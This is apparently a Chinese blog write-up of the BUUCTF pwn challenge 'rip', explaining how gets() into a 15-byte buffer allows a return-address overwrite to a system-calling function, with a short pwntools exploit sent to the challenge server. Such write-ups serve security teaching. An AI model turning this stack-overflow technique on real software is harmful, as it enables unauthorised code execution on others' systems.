[buuctf pwn]rip

先checksec一下,64位,没开栈溢出保护

image-20240717101208182

进ida看一下,有个gets,s是15个字符

image-20240717101642605

然后还有另一个fun()函数

image-20240717101751444

image-20240717101811590

现在我们就可以利用栈溢出

用15个字符先填满函数缓冲区,然后用8个字符(64位)填满缓冲区下面的rbp区域,再下面就是返回地址了,我们把它填成system命令的地址0x40118A

EXP如下

from pwn import *
p=remote('node5.buuoj.cn',27826)
p.sendline(b'A'*23 + p64(0x40118A))
p.interactive()

执行后用ls指令,然后用cat指令读取flag文件,即可得到flag

本文作者:yee-l

本文链接:https://www.cnblogs.com/yee-l/p/18306758

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   yee-l  阅读(20)  评论(0编辑  收藏  举报
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起